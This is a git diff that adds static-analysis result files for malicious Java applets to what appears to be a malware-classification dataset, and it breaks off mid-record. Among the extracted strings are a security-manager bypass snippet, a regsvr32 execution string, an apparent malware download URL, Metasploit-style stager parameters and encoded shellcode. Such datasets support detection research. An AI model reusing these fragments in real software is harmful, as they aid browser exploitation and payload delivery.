+{"characteristics": {"java": {"sourcefile": "APfPyqs.java", "class_name": "APfPyqs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "wWYGARZs", "ZZlJMqaVe", "QcxleGe", "FZuqGHVlf", "cBAQW", "JjdZM", "lXiRvkK", "leGNYx"], "minor_version": 0, "const_pool_count": 148}}, "_id": "7e3bae12-eefa-4ce4-b93f-e468a51534c6", "verbose": {"java": {"constant strings": ["\\x1e\\x1c\\x1c", "\\x12\\x10\\x05\\x17", "\\x02\\x04\\x02\\x04", "\\xc0\\x80\\x11\\x02\\x03\\x12\\x05\\x17", "", "\\x04\\x02\\x01\\x01\\x0f\\x13", "\\xc0\\x80\\x11\\x07\\x12\\x05\\x17", "\\x04\\x02\\x0f\\x13", "\\xc0\\x80\\x11\\x12\\x05\\x17", "\\x12\\x05\\x10", "\\x13\\x04\\x11\\x12\\x14\\x1e\\x1c\\x1d\\x13\\x04\\x1b\\x05\\x10V\\x1d\\x18\\x10\\x1b"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3468710414eb855b011f36b605c29f1aed12bd5a", "file_name": "java_malicious/b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b", "_id": "7e3bae12-eefa-4ce4-b93f-e468a51534c6", "score": 0, "entropy": 5.868364646039156, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4005, "ssdeep": "96:vFlvVbfJ5vN1j9MtyshR2Ns0ZhstIpQUi:dlvZfbVCyAcNsxtIRi", "sha256": "b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b", "md5": "c9cecd4eaa0a87fd87664d10f463a0b2", "parent_sha256": "b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef.results b/java_classification/data/malicious/b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef.results
new file mode 100755
index 0000000..08f8126
--- /dev/null
+++ b/java_classification/data/malicious/b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "zMrpriqsE.java", "class_name": "zMrpriqsE", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "callBack", "getFilePath", "order", "add", "replace", "ghj", "con", "ghj2"], "minor_version": 0, "const_pool_count": 250}}, "_id": "f7e4359a-c0f3-4204-90a4-c075cbd694a7", "verbose": {"java": {"constant strings": ["js", "applet", "this.toString = function() {  \\tjava.lang.System.setSecurityManager(null);   applet.callBack();  return \\'\\';};c = new Error();c.message = this;c", "", "p", "openStream", "close", "exec", "regsvr32 -s \"", "\"", "java.io.tmpdir", ".exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e5960381aa4b5889b867ceccc8a3530966aa6926", "file_name": "java_malicious/b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef", "_id": "f7e4359a-c0f3-4204-90a4-c075cbd694a7", "score": 0, "entropy": 5.731303498204436, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4427, "ssdeep": "96:4tppibyFlPR7oAbp3dgro4hbliXO3jNvfYx:4wYlPFoAtio4+ojZYx", "sha256": "b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef", "md5": "7f4ed35051e1edf87e61b0395548d6d4", "parent_sha256": "b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f.results b/java_classification/data/malicious/b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f.results
new file mode 100755
index 0000000..985ef9e
--- /dev/null
+++ b/java_classification/data/malicious/b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/cyopao", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "tekdzjxwzezmvgf", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "53d2c7b8-3872-467a-9e7a-d8455267ac38", "metadata": {"mimetype": "application/x-java-applet", "sha1": "db44e8a1506d3bb965e5f1085af64075829754b0", "file_name": "java_malicious/b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f", "_id": "53d2c7b8-3872-467a-9e7a-d8455267ac38", "score": 0, "entropy": 5.212078676081695, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6983, "ssdeep": "96:KMHi07wQ7PyXtFHPObZco8pL2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TC07wQ7Sv8+pLxhi/To55UTYwa5hGX1", "sha256": "b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f", "md5": "52760f327ba4ec2eadd16e9d9e58fbc1", "parent_sha256": "b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08.results b/java_classification/data/malicious/b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08.results
new file mode 100755
index 0000000..a0ec679
--- /dev/null
+++ b/java_classification/data/malicious/b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Matrix.java", "class_name": "Matrix", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "check", "a", "a"], "minor_version": 3, "const_pool_count": 173}}, "_id": "3a3353aa-0c41-484b-b338-2362f0908478", "verbose": {"java": {"constant strings": ["no error", "os.name", "http://iframetraff.biz/dl/loadadv681.exe", "\\\\loadnew.exe", "http://iframetraff.biz/dl/cheat.php?adv=adv681"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d8d79c62e86312a08146479078de817ad40630d9", "file_name": "java_malicious/b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08", "_id": "3a3353aa-0c41-484b-b338-2362f0908478", "score": 0, "entropy": 5.882881573217733, "libmagic": "compiled Java class data, version 45.3", "file_size": 2951, "ssdeep": "48:9JrYyss0yFlS/vJ4RyiIMTwe5Nbj4ZKErZqHkZWyK/WcSkjfcB9GcJmIDnom1Jem:LFlOhiIMTvATtcSkjfcGcEk51rX2oh", "sha256": "b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08", "md5": "47e88fcc9eabffd578ec01d2c705c23f", "parent_sha256": "b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/b5098f3206a8f7a57b1511fe5be22d089a888476c0e337944b0bcc1096b916cf.results b/java_classification/data/malicious/b5098f3206a8f7a57b1511fe5be22d089a888476c0e337944b0bcc1096b916cf.results
new file mode 100755
index 0000000..8aa9de4
--- /dev/null
+++ b/java_classification/data/malicious/b5098f3206a8f7a57b1511fe5be22d089a888476c0e337944b0bcc1096b916cf.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2.results b/java_classification/data/malicious/b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2.results
new file mode 100755
index 0000000..d56c9d6
--- /dev/null
+++ b/java_classification/data/malicious/b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "upcyRfRIRV/TkHhxXs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "f6c73386-092a-4060-b623-414b252780f9", "verbose": {"java": {"constant strings": ["upcyRfRIRV.TkHhxXs", ".class", "/upcyRfRIRV.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "upcyRfRIRV.dat", "URL", "", "https:", "upcyRfRIRV/TkHhxXsTrustManager.class", "TkHhxXsTrustManager.class", "AESPassword", "upcyRfRIRV/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "upcyRfRIRV.TkHhxXsTrustManager", "useFor", "java.net.URLConnection", "upcyRfRIRV.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "TkHhxXs -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b62382c6c98c1b405ddf8fbebf6cb230ea8b4620", "file_name": "java_malicious/b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2", "_id": "f6c73386-092a-4060-b623-414b252780f9", "score": 0, "entropy": 6.153593643159513, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMQDUBN+W8fvThmc0xKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tcN4ntmVyNvpvUrKYvCkgHzbDrDF", "sha256": "b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2", "md5": "fff9773be8be69abffd514ab4180412f", "parent_sha256": "b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2"}}
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diff --git a/java_classification/data/malicious/b57e522318e3da17fd3091eb1af7e96eda12cd107ab6fa75f112e374b264c9ee.results b/java_classification/data/malicious/b57e522318e3da17fd3091eb1af7e96eda12cd107ab6fa75f112e374b264c9ee.results
new file mode 100755
index 0000000..b311855
--- /dev/null
+++ b/java_classification/data/malicious/b57e522318e3da17fd3091eb1af7e96eda12cd107ab6fa75f112e374b264c9ee.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Fae", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "GuUIUw", "jOHEDG", "EQPUE", "aFufFum", "EURwECNp", "Lvbd", "VdFv", "OlKOqPUze", "fsIuntlLV", "QsruO", "GiUPwEqsW", "lThVtD"], "minor_version": 0, "const_pool_count": 245}}, "_id": "35c7ece7-f8c8-4c38-8de9-ba75a974a235", "verbose": {"java": {"constant strings": ["ZQQ07java.la@@@@@@@@@@@ng.Sys", "ZZQ4te@@@@@@@@@@m", "qwErjav@@@@@@@@@@@@@@@@@@a.awt.Alp@@@@@@@@@@@ha", "Com@@@@@@@@@@@p", "os@@@@@@@@@@@@@@@@ite", "89Qja@@@@@@@@@@@@va.awt.", "image.@@@@@@@@@@@@Co", "100lorMod@@@@@@@@@@@@@@el", "Z190java.@@@@@@@@@@@@@@@@@@@@awt.Re@@@@@@@@@@@nder", "in", "gHi@@@@@@@@@@@@@@@@@@@@@@nts", "cre@@@@@@@@@@@@@@@@@ateCon", "123te@@@@@@@@@@@@@@@xt", "S@@@@@@", "rc", "@", "", "00Bt>>o>>>>Stri>>n>>>g", ">", "002", "00Wge<t<<<By<te", "<", "00s", "00e", "00/"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "96b95c78cc520bc107f99738989e5b6c1f863430", "file_name": "java_malicious/b57e522318e3da17fd3091eb1af7e96eda12cd107ab6fa75f112e374b264c9ee", "_id": "35c7ece7-f8c8-4c38-8de9-ba75a974a235", "score": 0, "entropy": 5.899059586827636, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 9512, "ssdeep": "192:D/XaRjpE6FlhtQf+DCtvYc1Zvpj0VP8hPx0x3A0JYeoCf0i:WRdZewEYcjvpKUBxq3AsYqv", "sha256": "b57e522318e3da17fd3091eb1af7e96eda12cd107ab6fa75f112e374b264c9ee", "md5": "042e75c086c05f62b04f5692075c85af", "parent_sha256": "b57e522318e3da17fd3091eb1af7e96eda12cd107ab6fa75f112e374b264c9ee"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/b585bdf08c3c857678f43fa17a6c8f61da5ce3aac5497198d1ed500eec02aa30.results b/java_classification/data/malicious/b585bdf08c3c857678f43fa17a6c8f61da5ce3aac5497198d1ed500eec02aa30.results
new file mode 100755
index 0000000..d5dfc7e
--- /dev/null
+++ b/java_classification/data/malicious/b585bdf08c3c857678f43fa17a6c8f61da5ce3aac5497198d1ed500eec02aa30.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "1a7f92a2-4483-4e58-9680-92f40c0356ab", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pN,pN,pn,pL,Pl,PL,Pl,PZ,Ik,KG,pe,P7,ps,op,dM,qP,0U,Pu,Pe,Pn,kq,Pd,Ll,KD,0U,LN,ML,Kc,X5,pk,0s,MT,LF,SR,Tw,sN,v8,kj,SN,ka,xF,hl,KK,Gr,JE,Tp,YM,8l,OW,pW,pe,Pj,Bh,yS,XB,Ob,Ne,Pe,PQ,xB,Uq,bp,lr,Mf,4K,OV,vN,kY,xH,ha,iU,Pu,PU,PL,Kj,wW,7O,pg,OG,ps,EK,Jp,GF,7w,7m,Pw,OU,PR,Ux,zl,KJ,Oq,OP,3y,Yo,qx,lv,dv,ac,0W,pL,KI,Lp,QS,bp,Su,8W,t6,aw,pW,pY,oQ,Ft,LR,zQ,IR,qp,Rn,kE,Rv,3C,so,p5,kG,pP,uJ,Zo,q3,KI,lv,Np,e4,8p,e0,us,3o,sJ,KU,XK,9v,c9,WP,CW,tV,NQ,uT,8E,5i,V3,sv,hW,pc,kM,Zo,1W,tD,pm,XQ,UU,P4,sK,pp,Pf,00,S2,wR,pK,Ov,62,0M,SJ,Xu,PP,u5,VP,jS,1V,3K,OQ,Fw,ta,JQ,IN,ch,Be,Tr,ao,pV,Z3,0r,UX,4K,Or,v3,86,12,vN,kC,EW,Ln,kD,4f,Up,xs,3X,u0,Vn,kp,v7,P6,cl,5p,3I,Yr,iR,al,mv,cH,E5,cI,Kd,OO,ND,PT,xk,BR,TW,xK,qZ,kT,MW,sJ,z1,Px,kZ,QW,KU,OP,uk,Wc,nL,Ks,nd,dS,39,Mp,fn,kv,lB,kn,ks,nu,Ls,3I,ML,K7,tl,KW,sh,EL,kS,nP,YK,sM,8w,pI,ok,OK,OL,NR,nd,NJ,LJ,8I,nN,jT,N1,nK,hK,Rr,Su,cK,zM,Za,Kv,Vf,zD,op,pS,I2,KS,xS,Q5,PS,Xp,tT,40,p7,JV,OD,ob,Rq,up,t2,RP,od,5S,Ta,yR,LF,N3,S0,op,mf,Ob,Ir,Ne,6p,ov,O1,ts,Qb,TV,NR,HP,t0,m2,Lt,op,n4,pV,PU,hP,16,P0,6P,2T,pd,qt,sT,pT,t2,R6,P4,tT,pt,yb,jv,QT,qd,pv,Pt,pW,Fv,P6,Q0,WV,Yp,2u,cE,fW,Bw,BU,6u,dS,hs,S0,7V,Sv,VV,Wq,qS,SP,7b,yW,HQ,su,55,6f,Pt,uD,y6,R1,Jd,pu,aP,0V,Pp,fd,p0,80,05,PW,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a0151aeb993626170d7a1a0ecb5422e70a5cf329", "file_name": "java_malicious/b585bdf08c3c857678f43fa17a6c8f61da5ce3aac5497198d1ed500eec02aa30", "_id": "1a7f92a2-4483-4e58-9680-92f40c0356ab", "score": 0, "entropy": 6.118070080743258, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3165, "ssdeep": "96:HFl/aoaeBJZTaLn2CwjTDE2iTULNkez1zNjWZ:llo4vS2CwXQ5ApnJNiZ", "sha256": "b585bdf08c3c857678f43fa17a6c8f61da5ce3aac5497198d1ed500eec02aa30", "md5": "8158902ad339086348a7b483cafba8f0", "parent_sha256": "b585bdf08c3c857678f43fa17a6c8f61da5ce3aac5497198d1ed500eec02aa30"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33.results b/java_classification/data/malicious/b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33.results
new file mode 100755
index 0000000..7b5999e
--- /dev/null
+++ b/java_classification/data/malicious/b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "59ae2558-8f38-45f6-881f-a3e286898f29", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,Pl,Pn,pL,Pn,pn,pZ,0l,PJ,IK,Kg,pu,PG,ps,op,dm,q4,pW,pg,pW,pL,KQ,PF,lN,kr,Pu,LN,MN,kS,X5,pk,0q,mF,lP,3p,tv,cn,vj,KX,sN,kb,Hc,8l,KZ,WQ,zv,dS,i8,hn,oU,P5,P5,P8,bY,iP,hp,op,nu,Pu,PE,8p,ud,2r,LP,mQ,DY,or,6n,ky,xY,xT,9u,Pg,p7,pn,kY,GG,7K,0g,O5,PP,uj,Zw,70,WR,gm,Pe,oW,pr,Uj,Zn,kZ,O3,ou,cz,iO,qJ,L3,4S,1c,0W,pL,Ki,LS,a3,b6,3C,XV,d5,Qs,0s,0K,OB,vt,Lp,Z0,Yp,QQ,Bn,k5,RS,cw,3m,PW,KG,pS,EX,zM,QQ,ky,lF,NQ,u0,xS,Uq,e5,SK,3J,KG,xN,i5,Sk,wQ,Su,T4,np,ec,HE,5Y,V1,Ss,83,01,KL,Jy,Qe,TP,0K,8Q,U3,0V,Sk,pf,0R,pV,3P,WV,0K,OP,Vb,0L,CL,8E,Ps,E6,f0,jV,ac,ck,O2,vW,tq,J3,iO,si,RV,dg,1M,PT,zU,Pr,UN,TK,O0,VU,X0,QB,vn,kS,EU,lL,KQ,dt,ur,XU,Sl,5V,6N,kS,FW,PG,sY,eF,SO,9b,is,qL,mW,sH,Ep,3K,kt,OO,Nf,p7,HK,Bs,DU,Xo,1h,KT,Mu,SJ,z1,PH,kJ,Qg,Kg,op,uz,GS,nl,Ka,Nq,4s,39,Mc,VN,kt,LP,Kl,KQ,N5,Ls,3K,mN,ku,TL,K4,CK,uN,KQ,N2,yi,SY,xw,p9,oK,OK,On,np,NV,nZ,Lo,hY,nN,jv,na,nK,hZ,Bs,C6,Sk,zo,zs,kv,V5,JV,O0,pQ,yR,k0,YB,Hw,pa,x2,Tr,TR,P7,Jv,OT,op,k0,lB,EP,vC,Uq,bv,Nq,yp,gB,Np,op,rQ,ur,LQ,yr,Sr,Td,nQ,sP,oP,mv,Oq,yr,Nc,VP,of,Ot,5p,sd,q6,Nb,Hp,tb,Mb,Lt,ob,Nt,pv,Pp,aV,QT,pt,vV,RD,pv,QP,3v,QP,8R,R0,0p,4d,pe,iQ,Zv,P3,UF,Pp,0d,pt,vv,Pv,QC,bw,FF,Yd,wE,4g,Dd,wD,pF,Ta,G3,U2,Cu,e4,vu,iQ,v0,2T,wq,HP,9P,6t,ru,g5,2Q,s6,Vf,Pv,90,dP,dQ,vw,HC,QS,TP,40,ep,ZD,pv,Q6,Pd,p5,6F,Pu,hF,P3,07,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c910b5115fd817ce0d080fb689e7a102c71b0928", "file_name": "java_malicious/b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33", "_id": "59ae2558-8f38-45f6-881f-a3e286898f29", "score": 0, "entropy": 5.98458304330506, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3111, "ssdeep": "96:hFFlDSSMnkQuuQtOqxjRxC92XQjt9bKsCn:1lDROQwqJRxEkQpRKx", "sha256": "b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33", "md5": "379e27c2e23d925027c9b4a1814c4244", "parent_sha256": "b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33"}}
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diff --git a/java_classification/data/malicious/b6998e0d8a8d58666111160d59cd0d474a7a49dda92891eea76c2b2a55c464c2.results b/java_classification/data/malicious/b6998e0d8a8d58666111160d59cd0d474a7a49dda92891eea76c2b2a55c464c2.results
new file mode 100755
index 0000000..dea8512
--- /dev/null
+++ b/java_classification/data/malicious/b6998e0d8a8d58666111160d59cd0d474a7a49dda92891eea76c2b2a55c464c2.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/b76e47a8af2964fe2e722a5d6ca022a1d91f713e8cbf751553cc0befedd086cc.results b/java_classification/data/malicious/b76e47a8af2964fe2e722a5d6ca022a1d91f713e8cbf751553cc0befedd086cc.results
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diff --git a/java_classification/data/malicious/b8c725dc1f375b3d755a4d2566aa92f7459e5245f8158499841266b28e59c443.results b/java_classification/data/malicious/b8c725dc1f375b3d755a4d2566aa92f7459e5245f8158499841266b28e59c443.results
new file mode 100755
index 0000000..f059420
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diff --git a/java_classification/data/malicious/b94d8fa20c1485ecfe85668c7cb0eabc24c905946d5325b83f206d6e662f41c8.results b/java_classification/data/malicious/b94d8fa20c1485ecfe85668c7cb0eabc24c905946d5325b83f206d6e662f41c8.results
new file mode 100755
index 0000000..171176d
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+++ b/java_classification/data/malicious/b94d8fa20c1485ecfe85668c7cb0eabc24c905946d5325b83f206d6e662f41c8.results
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diff --git a/java_classification/data/malicious/b958d7cc6f4657e448448ef10db1c70e9d273804dfada542c249542e1afd0a34.results b/java_classification/data/malicious/b958d7cc6f4657e448448ef10db1c70e9d273804dfada542c249542e1afd0a34.results
new file mode 100755
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diff --git a/java_classification/data/malicious/b95f06799235c16a6d68c0a7851a2ec8a05e10db379a1c56f3ed906aa85a97aa.results b/java_classification/data/malicious/b95f06799235c16a6d68c0a7851a2ec8a05e10db379a1c56f3ed906aa85a97aa.results
new file mode 100755
index 0000000..289e42c
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diff --git a/java_classification/data/malicious/b96486845eebe8ad8109b94ae888375314f0148708773fc8d3f711401ead424a.results b/java_classification/data/malicious/b96486845eebe8ad8109b94ae888375314f0148708773fc8d3f711401ead424a.results
new file mode 100755
index 0000000..d34a5a3
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+++ b/java_classification/data/malicious/b96486845eebe8ad8109b94ae888375314f0148708773fc8d3f711401ead424a.results
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diff --git a/java_classification/data/malicious/ba7415ba35f938eda517b8ccc435e479b11329b43502e776f9f0fdb21014fafd.results b/java_classification/data/malicious/ba7415ba35f938eda517b8ccc435e479b11329b43502e776f9f0fdb21014fafd.results
new file mode 100755
index 0000000..f260eca
--- /dev/null
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diff --git a/java_classification/data/malicious/bb2665fffceec7d819247fe4d6961b9df278bad23e1efde907e9d904166cd595.results b/java_classification/data/malicious/bb2665fffceec7d819247fe4d6961b9df278bad23e1efde907e9d904166cd595.results
new file mode 100755
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diff --git a/java_classification/data/malicious/bbf1d8db2d9ee3b1812b6bf9c9c7dee8319e475d152fe7c9c1c213907d75d8f1.results b/java_classification/data/malicious/bbf1d8db2d9ee3b1812b6bf9c9c7dee8319e475d152fe7c9c1c213907d75d8f1.results
new file mode 100755
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diff --git a/java_classification/data/malicious/bc5f30a03caac7544c7294cb8a7ecdeae0accc6d89003c277f5563165e9822b9.results b/java_classification/data/malicious/bc5f30a03caac7544c7294cb8a7ecdeae0accc6d89003c277f5563165e9822b9.results
new file mode 100755
index 0000000..1cff243
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+++ b/java_classification/data/malicious/bc5f30a03caac7544c7294cb8a7ecdeae0accc6d89003c277f5563165e9822b9.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/bca175d40c4d9d1beba355a2a8d952e3b340a3d90bbe889d4c6a5a2c4fea3d95.results b/java_classification/data/malicious/bca175d40c4d9d1beba355a2a8d952e3b340a3d90bbe889d4c6a5a2c4fea3d95.results
new file mode 100755
index 0000000..3484f25
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diff --git a/java_classification/data/malicious/bd07aa84808b8ddcd87bdd856d40d0106a508391bb5a5c191ac3d5e14f9967be.results b/java_classification/data/malicious/bd07aa84808b8ddcd87bdd856d40d0106a508391bb5a5c191ac3d5e14f9967be.results
new file mode 100755
index 0000000..33e87ea
--- /dev/null
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diff --git a/java_classification/data/malicious/bda214577ae2c5337d60d1ce0954e7c626bdfda7b7f31bce2ff7f884e31febb3.results b/java_classification/data/malicious/bda214577ae2c5337d60d1ce0954e7c626bdfda7b7f31bce2ff7f884e31febb3.results
new file mode 100755
index 0000000..0bb7b0d
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diff --git a/java_classification/data/malicious/bdc9c81b7a3b0f2ecd1c247a9fe75a8a74c013f02284b24398fce944a8b26314.results b/java_classification/data/malicious/bdc9c81b7a3b0f2ecd1c247a9fe75a8a74c013f02284b24398fce944a8b26314.results
new file mode 100755
index 0000000..05f0b33
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diff --git a/java_classification/data/malicious/bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0.results b/java_classification/data/malicious/bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0.results
new file mode 100755
index 0000000..8ab31ec
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+{"characteristics": {"java": {"sourcefile": "puvUPhn.java", "class_name": "puvUPhn", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "<clinit>", "PvmogAO", "oheltg"], "minor_version": 0, "const_pool_count": 169}}, "_id": "5c031f1c-f119-4047-ab1c-a294cb5e38e4", "verbose": {"java": {"constant strings": ["\\x05\\x13\\x02%\\x13\\x15\\x03\\x04\\x1f\\x02\\x0f;\\x17\\x18\\x17\\x11\\x13\\x04", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X2\\x17\\x02\\x174\\x03\\x10\\x10\\x13\\x044\\x0f\\x02\\x13", "\\x02\\x04\\x02\\x04", "\\xc0\\x80\\x11\\x02\\x03\\x12\\x05\\x17", "\\x05\\x13\\x023\\x1a\\x13\\x1b", "\\x1f\\x18\\x02\\x1f\\x18\\x02", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X2\\x17\\x02\\x174\\x03\\x10\\x10\\x13\\x04", "\"/&3)4/\"3", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X;\\x03\\x1a\\x02\\x1f&\\x1f\\x0e\\x13\\x1a&\\x17\\x15\\x1d\\x13\\x12%\\x17\\x1b\\x06\\x1a\\x13;\\x19\\x12\\x13\\x1a", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X$\\x17\\x05\\x02\\x13\\x04", "\\x15\\x04\\x13\\x17\\x02\\x13!\\x04\\x1f\\x02\\x17\\x14\\x1a\\x13$\\x17\\x05\\x02\\x13\\x04", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X%\\x17\\x1b\\x06\\x1a\\x13;\\x19\\x12\\x13\\x1a\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X2\\x17\\x02\\x174\\x03\\x10\\x10\\x13\\x04\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X&\\x19\\x1f\\x18\\x02", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X?\\x18\\x12\\x13\\x0e5\\x19\\x1a\\x19\\x04;\\x19\\x12\\x13\\x1a", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X7\\x1a\\x06\\x1e\\x175\\x19\\x1b\\x06\\x19\\x05\\x1f\\x02\\x13", "%\\x04\\x15", "\\x19\\x05X\\x18\\x17\\x1b\\x13", "", ";\\x17\\x15", "\\x19\\x05X\\x17\\x04\\x15\\x1e", "@B"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8fd6baa16cae6a2ca7cf2b1dd46afa0cf17457c1", "file_name": "java_malicious/bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0", "_id": "5c031f1c-f119-4047-ab1c-a294cb5e38e4", "score": 0, "entropy": 6.036163084751947, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4259, "ssdeep": "96:QFlvv3oCg7zgWEvWbODamV6ypXCqIs2A/Snlng:SlvfobzgXvWKPV6ypN2Dg", "sha256": "bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0", "md5": "ecb1ee9dbdef5e79e5f74047e10e4841", 